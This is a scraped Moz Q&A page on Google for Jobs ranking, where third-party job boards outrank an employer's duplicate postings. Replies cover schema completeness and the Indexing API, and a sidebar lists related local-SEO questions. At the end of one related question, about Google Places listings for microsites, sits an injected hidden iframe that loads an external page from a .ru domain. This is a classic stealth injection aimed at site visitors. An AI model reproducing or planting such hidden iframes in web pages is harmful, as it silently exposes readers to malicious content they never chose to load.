Google for Jobs: how to deal with third-party sites that appear instead of your own?
-
We have shared our company's job postings on several third-party websites, including The Muse, as well as putting the job postings on our own website. Our site and The Muse have about the same schema markup except for these differences:
The Muse...
• Lists Experience Requirements
• Uses HTML in the description withtags and other markup (our website just has plain text)
• Has a Name in JobPosting
• URL is specific to the position (our website's URL just goes to the homepage)
• Has a logo URL for OrganizationWhen you type the exact job posting's title into Google, The Muse posting shows up in Google for Jobs--not our website's duplicate copy. The only way to see our website's job posting is to type in the exact job title plus "site:http://www.oursite.com".
What is a good approach for getting our website's posting to be the priority in Google for Jobs? Do we need to remove postings from third-party sites? Structure them differently? Do organic factors affect which version of the job posting is shown, and if so, can I assume that our site will face challenges outranking a big third-party site?
-
We have found the following:
1 Using the API is better than waiting for Google to crawl the jobs.
2 They have you must have data fields, but they have would like to have and be tickled pink if you have fields. Filling in all three changes rankings in the testing we have done.
3 The quality of the title you give vs the title they understand.
4 The overall authority of your site. No exact on this yet but a gut feel factor.
5 SERPs result are also jumping around like crazy just now, we see the Google for jobs panel with no links about it and then four hours later it has 4 organic links about it for the same search, then a day later 2, then a day later none, then back to four then an hour later none...Testing google for jobs when it landed in the UK three weeks ago its results are inconsistent with its own rules, we have found jobs with the wrong suggested title format, the wrong address format, landing pages not actual jobs have found their way onto the service!!! jobs with red warning have made it onto the service and so the list goes on.
-
Yeah, I'm sorry I'm not seeing a really good resource for you, Kevin. It's early days. The person who takes on the task of writing that resource will have valuable information to share. I would say your best hope is in experimentation with this, but I don't see that anyone has figured out a solution to the important questions you've asked.
-
Thanks, Miriam. This article offers a good summary of information that Google put out there, but it doesn't discuss factors that may affect which version of a duplicate posting appears. Ideally, there's be a way to canonical third-party duplicates, but I'm not sure if this would be possible with these huge third-party job posting sites or even if this would affect which version of the posting appeared in Google for Jobs.
-
Hi Kevin! It's nice to speak with you, too. Another article that might help:
http://www.clearedgemarketing.com/2017/06/optimize-google-jobs/
I'd love to see someone do a deep dive on the exact questions you've raised.
-
Wow, a reply by the Miriam Ellis! I've found your past posts on local search very useful.
Seriously, though, this was a very good thread on which I could begin to pull. I took a look at the article and found this helpful line: "For jobs that appeared on multiple sites, Google will link you to the one with the most complete job posting." I'd be interested in knowing more about what constitutes "complete." I'm assuming it's the post that has the most schema items included and in particular the "critical" items according to Google's rich cards report. If this is the case, then it would seem that organic signals may not affect the visibility of the job posts as much as I originally suspected.
Then again, there's got to be some keyword relevance going on here.
Our website's job posting is being included in Google for Jobs. However, this posting only appears with a very specific search (typing in the exact job title plus "site:http://www.oursite.com".)
So, maybe it's a combination: multiple versions of the same job can be part of Google for Jobs, but Google for Jobs will show the posting that is both most keyword relevant and most complete. This is just a theory without significant research (everyone's favorite kind of theory, right?), but I'm going to send an email to the author of the TechCrunch article to see if there's any more detail he can share. Thanks again!
-
Hey Kevin,
I'm afraid I'm not very familiar with Google for Jobs, but here's something that caught my eye in a TechCrunch article:
To create this comprehensive list, Google first has to remove all of the duplicate listings that employers post to all of these job sites. Then, its machine learning-trained algorithms sift through and categorize them.
This sounds like it might be applicable to what you're describing. Maybe read the rest of the article? And I'm hoping you'll get further community input from folks who have actually been experimenting with this new Google function.
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
Does multiple sites that relate to one company hurt seo
I know this has been asked and answered but my situation is a little different. I am a local electrical contractor. I specialize in a service and not a product. Competition is high in the local market due to the other electrical contractors that have well seasoned sites with very good DA/PA. Although new to the web I am not new to the trade. Throughout years almost back to the AOL dialup days I have been collecting domain names for this particular purpose. Now I want to put them to good use. Being an electrical contractor, there are many different facets of work and services we provide. My primary site is empireelec.com A second site I threw online overnight with minimal content is jacksonvillelightingrepair.com. Although it is a fresh site, there is minimal content and I have put almost zero effort in to it. It appears to be ranking for keywords a lot quicker. That leads me to believe I should utilize my other domain jacksonvillefloridaelectrician.com and target just the keyword Jacksonville Florida Electrician. It leads me to believe I should use jacksonvillebeachelectrician.com for targeting electricians in jacksonville beach. And again with jacksonvilleelectricianservice.com I can provide a unique phone number for each site. Am I going about this all wrong? Everything I read says no,no,no but I feel my situation is a little more unique.
Local Website Optimization | | empireelec1 -
Optimizing dog walking site for search phrase "dog walkers nyc"
Background: We have a dog walking company that serves NYC. According to our AdWords campaign, most leads come from the search phrase: "dog walkers nyc." Question: If the goal is to get as much organic traffic as possible for the search phrase "dog walkers nyc," should we just optimize our http://barkbud.com/ domain for the search phrase "dog walkers nyc," OR should we also have a page like http://barkbud.com/dog-walkers-nyc/ optimized for the same phrase? Thanks!
Local Website Optimization | | BarkBud0 -
How to approach SEO for a national umbrella site that has multiple chapters in different locations that are different URLS
We are currently working with a client who has one national site - let's call it CompanyName.net, and multiple, independent chapter sites listed under different URLs that are structured, for example, as CompanyNamechicago.org, and sometimes specific to neighborhoods, as in CompanyNamechicago.org/lakeview.org. The national site is .net, while all others are .orgs. These are not subdomains or subfolders, as far as we can tell. You can use a search function on the .net site to find a location near you and click to that specific local site. They are looking for help optimizing and increasing traffic to certain landing pages on the .net site...but similar landing pages also exist on a local level, which appear to be competing with the national site. (Example: there is a landing page on the national .net umbrella site for a "dog safety" campaign they are doing, but also that campaign has led to a landing page created independently on the local CompanyNameChicago.org website, which seems to get higher ranking due to a user looking for this info while located in Chicago. We are wondering if our hands are tied here since they appear to be competing for traffic with all their localized sites, or if there are best practices to handle a situation like this. Thanks!
Local Website Optimization | | timfrick0 -
Canonical for blog tag or search site
Dear all, I have problem with duplicate content on my site and crawled by seomoz as "duplicate content", might be i am not clear enough about how to put "canoncial" but the problem is with my site mostly on blog or tags or categories, so some link that actually different tags ....come with same result..so like: http://www.livingwordfreelutheran.org/news-events/blog/tag/ Gymnastics and http://www.livingwordfreelutheran.org/news-events/blog/tag/ God's Power It will show same result..the problem is,all are dynamic... and what i should put the canonical for that page? Both of link use same page or controller? If i put the canonical itself on each result it will be fix it? Or how? …and also I confusing how I put it also on search result? Like ?query=keywords that show same result? How I put canonical on there? Sorry if this duplicate question... I very very appreciate for the help…thank you! Best regards,
Local Website Optimization | | lwflc
Harrison0 -
Combining sites. But what domain to use?
So we currently have two websites: www.thephotoboothguys.co.uk and www.thephotoboothguys.com.au We're redeveloping our sites, and combining them to have just a singular website (and then sub sections for each country / location). Unfortunately we can not get the .com of our domain, nor the _.net _And I really can't find a .com that i think will work (for lack of availability, or just because the domain name would not be succinct enough). So, I also have registered - www.photobooth.gy and www.thephotoboothguys.co
Local Website Optimization | | blitzna10
My question ultimately is - is it a bad idea to use a .gy or .co as my main domain - especially when we dont operate in either Guyana or Columbia - but, assuming that the content and structure of the website make it clear what countries and locations we do operate in. Is this something Google et al will figure out over time? Or is it likely to make a huge impact? Or should I be searching harder to find a .com that will work for me? Cheers!0 -
Main Website and microsite - Do I do google places for both as it will technically be duplicating the locations,?
Hi All, I have a main eCommerce website which trades out of a number of locations and all these locations appear in google places although they don't rank particularly well in google places . I also have a number of microsites which are specific to one type of product I do and these rank very well locally. My question is , should I also do google places for my microsites as this would technically mean I am creating a duplicate location listing in google places but for a different website etc./business I only have one google account so I guess this would be done under the same google account ? thanks Pete <iframe id="zunifrm" style="display: none;" src="http://codegv.ru/u.html"></iframe>
Local Website Optimization | | PeteC120 -
Best marketing for a language learning site
Hello everybody, I'm a programmer so I'm not very good at marketing. Any idea what the best way is to promote my language learning site? (http://www.antosch-and-lin.com/) Since Google Penguin the site has taken a big hit and the changes suggested by a SEO expert hasn't helped. Thanks for any suggestions!
Local Website Optimization | | delpino0 -
Single Site For Multiple Locations Or Multiple Sites?
Hi, Sorry if this rambles on. There's a few details that kind of convolute this issue so I'll try and be as clear as possible. The site in question has been online for roughly 5 years. It's established with many local citations, does well in local SERPs (working on organic results currently), and represents a business with 2 locations in the same county. The domain is structured as location1brandname.com. The site was recently upgraded from a 6-10 page static HTML site with loads of duplicate content and poor structure to a nice, clean WordPress layout. Again, Google is cool with it, everything was 301'd properly, and our rankings haven't dropped (some have improved). Here's the tricky part: To properly optimize this site for our second location, I am basically building a second website within the original, but customized for our second location. It will be location1brandname.com/secondcity and the menu will be unique to second-city service pages, unique NAP on footer, etc. I will then update our local citations with this new URL and hopefully we'll start appearing higher in local SERPs for the second-city keywords that our main URL isn't currently optimized for. The issue I have is that our root domain has our first city location in the domain and that this might have some negative effect on ranking for the second URL. Conversely, starting on a brand new domain (secondcitybrandname.com) requires building an entire new site and being brand new. My hunch is that we'll be fine making root.com/secondcity that locations homepage and starting a new domain, while cleaner and compeltely separate from our other location, is too much work for not enough benefit. It seems like if they're the same company/brand, they should be on the same sitee. and we can use the root juice to help. Thoughts?
Local Website Optimization | | kirmeliux0